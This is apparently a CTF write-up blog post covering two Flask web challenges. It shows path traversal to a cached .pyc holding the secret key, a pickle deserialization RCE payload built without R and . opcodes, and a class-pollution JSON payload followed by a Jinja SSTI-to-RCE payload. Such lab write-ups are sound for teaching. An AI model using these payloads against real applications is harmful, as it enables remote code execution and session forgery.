---
# System prepended metadata

title: '# *SOME WEB THINGs THAT I LEARNED (part 1)*'
tags: [Learn with me xD]

---

# *SOME WEB THINGs THAT I LEARNED (part 1)*

#### Recently i got some new things that i learned from some challs that i want to share.

## 1. Make color
- The chall gives us a website that we can login, but also read file without the need of logging in. Reading the source code for the ```/file``` route:

![](https://hackmd.io/_uploads/ryrMk3We6.png)

- We can see that the route concat the file name into the path, which is vulnerable to path traversal. But the code has a filter that if the file ends with ```py``` and the mime-type is ```Python script```, it will not return us the file.
    - The point of this is to not let us read the config.py file, which contain the Flask secret key that we can use to forge the session that caused RCE later on.

- We then have the ```/admin``` route which reads our session to determines the output.

![](https://hackmd.io/_uploads/ry7h-hWgT.png)

- It takes our session( which is base64 encoded ), decode the session then uses pickle.loads to serializes the data. Now pickle.loads is known for a vulnerability called *```pickle insecure deserialization```*.
- But the route has it's filter too. By filtering ```R and .```, it now takes away our ability to use the ```__reduce__()``` method. Reading from a Chinese Blog gives me a rather simple explanation of the reduce method:
    ```Select the first object on the stack as the function, the second object as the parameter (the second object must be a tuple), and then invoke that function.```
- But why . and R. We can try by serialize a simple payload.

![](https://hackmd.io/_uploads/SkLrL2-x6.png)

- We can see it returns us a byte string with the R and . at the end. This is due to pickle opcode format.You can read it here for better explanation.
```https://adrianstoll.com/post/python-in-a-pickle-an-explanation-of-the-python-pickle-format-and-security-problems/```

### Exploitation
- Now we get the idad of how we need to attack, lets first get the secret. The secret is contain in the config.py which is protected by 2 filter that cant be bypass. But there is not just 1 file that contain the secret key. 
- Upon running docker and trying out different stuff, i see a folder called ```__pycache__```, which is a folder that contains the bytecode for our computer to read and run, the bytecode is store in a .pyc file, which help the application to run faster. 
- Move into the folder a got a file called ```config.cpython-311.pyc```. Trying to cat it suprise me, it contains the Flask secret key. The file mime-type is not Python script, and it doesn't ends with py but pyc. Lets grab the secret code( which would be use when forge flask session ) and move on to the serialize data.

- Now we need to bypass the . and R filter. Reading the Chinese Blog again, i kind of got the idea to build the payload. The pickle serialize is like a stack, one on top another.
![](https://hackmd.io/_uploads/Bkz7ThZg6.png)

- Now we need something short, and doesnt have . or R.
    - Translate the blog i can see this
![](https://hackmd.io/_uploads/S1Yd6n-eT.png)
    
    - The c opcode import a module with its syntax, using this we can import os and call to a command. That command will be execute by the o opcode. But we just cannot put a ls in and hope it to run. The ls is just a plaintext without the S opcode. Also the o opcode looks for a MARK, so to initiate that, we need the ( opcode.
    ![](https://hackmd.io/_uploads/HyZ4A2Wgp.png)
    ![](https://hackmd.io/_uploads/B1zAAhWxT.png)

    - And about the dot, the . opcode is just like a sign to stop, it doesn't affect the serialize much, we can remove that. So now our payload will be:
    ```
    (cos
    system
    S'{command}'
    o
    ```
***Exploit code***
```import base64
import pickle
opcode3=b'''(cos
system
S'{command}'
o'''
print(len(opcode3))
print(base64.b64encode(opcode3))
```
- The ```/admin``` route takes a json data contains user and data. The user is kcsc_member and the data is the serialize payload. Use flask-usign to forge cookie. Use the ```/file``` route to get the secret key.```Ii2YIrkO6Jrj81xcfZ0QuHDyTyklZYQAY0o2GUpiZASVkessbCzoNmhPNAo2Zhyve4BZwV0i```
![](https://hackmd.io/_uploads/BkwUE6-ga.png)

- But the app doesn't return anything but lmao or something idk, but we can execute command, so maybe we can copy the flag to a file and read it. Lets copy it to /app and read it. 
![](https://hackmd.io/_uploads/HyoWtabx6.png)
( why f* and dcm because the length is 32 😢 )

- Change the session, go to /file and get the flag
![](https://hackmd.io/_uploads/rJ95F6bxT.png)
![](https://hackmd.io/_uploads/rJz3tpWl6.png)

### What i learned
- Python pickle insecrure deserialize doesn't have to be reduce method.
- First time i ever done a python pickle chall xD.

## 2. Baby Python
- This chall gives us a website where we can register and login, but by default we are not Admin, so we need to figure how to become Admin. Lets look at the source code.
- The code implies 2 filter of black-listed characters
![](https://hackmd.io/_uploads/BJuruCZgT.png)

- The code check whether there are these characters in the data being sent to the server. If there is, it will return false. These 2 waf function will be use to check when register and read for flag.
- Moving on, we can see that there is a merge function. Doing a bit of searching, i see that this function is related to ***```Python Class pollution```***. You can read about it here:
```https://portswigger.net/daily-swig/prototype-pollution-like-bug-variant-discovered-in-python```

- Then we got the ```/flag``` route, which takes our session and check if we are admin or not. If we are admin it will return ```Welcome admin```. Now the thing is, it is concatnating our username from our session to the string, and use ```render_string_template``` to print it out to the screen. This is dangerous since it can introduce to a vulnerability call ***```SSTI```***, where the server takes our input without any sanitization, the input is in a template syntax, which is then executed server-side. 
- But it is using black_list2, this array contains all the things we need to use in order to SSTI, and by all the things i mean everything(i think). Its impossible to inject anything by now. But there is a way, we can abuse the class pollution to pollute the black_list2, and maybe the Flask ```secret key``` as well. 😉😉

### Attack
- First, abuse the merge function + bypass the first black_list, we can use unicode character to move into ```__init__.__globals.app.secret_key``` plus the second black_list. We also need to reformat it for json request. The payload to be sent:
```
{
  "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f": {
    "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {
      "\u0061\u0070\u0070": {
        "secret_key": "hello"
      },
      "black_list2": ""
    }
  },
  "username": "hello",
  "password": "hello"
}
```
- What this does is it access the __```__init__```__ dict, then the __```__globals__```__. Inside the globals, we can access the app, thus we can see both the black_list presented as well. Then access the __```app```__, we can see the ```secret_key```, which we change to hello, plus we rewrite the black_list2, set it to be empty. LOLOLOLOLOL
![](https://hackmd.io/_uploads/ByYQjbml6.png)
![](https://hackmd.io/_uploads/SJCIob7lp.png)

- Logged in, we can see we got the session, lets use flask-unsign. Since secret_key we changed to hello we can easily forge a cookie. ***Yummy*** 😋
![](https://hackmd.io/_uploads/BJeB3ZmlT.png)

- Go to ```/flag``` route, we can see the SSTI happened.
![](https://hackmd.io/_uploads/SJzc3bXxT.png)

![](https://hackmd.io/_uploads/ry4Vp-7xT.png)

- Now SSTI, we can use the ```cycler``` module, which is commonly known for ```SSTI to RCE```. Payload will be:
```{{ cycler.__init__.__globals__.os.popen('{command}').read() }}```
![](https://hackmd.io/_uploads/B1mP0-Xga.png)

- And BOOM, check it out.![](https://hackmd.io/_uploads/BJwY0ZQxT.png)

- Change to ```cat /flag...``` and we got it.

### What i learned
- Debugging is important.
- JSON loads can loads unicode data which it return a string after.
- Kind of my first Python Class pollution ya know xDD.


## Thank you for reading >.< Gud bye
![](https://hackmd.io/_uploads/BygPJfQlT.jpg)

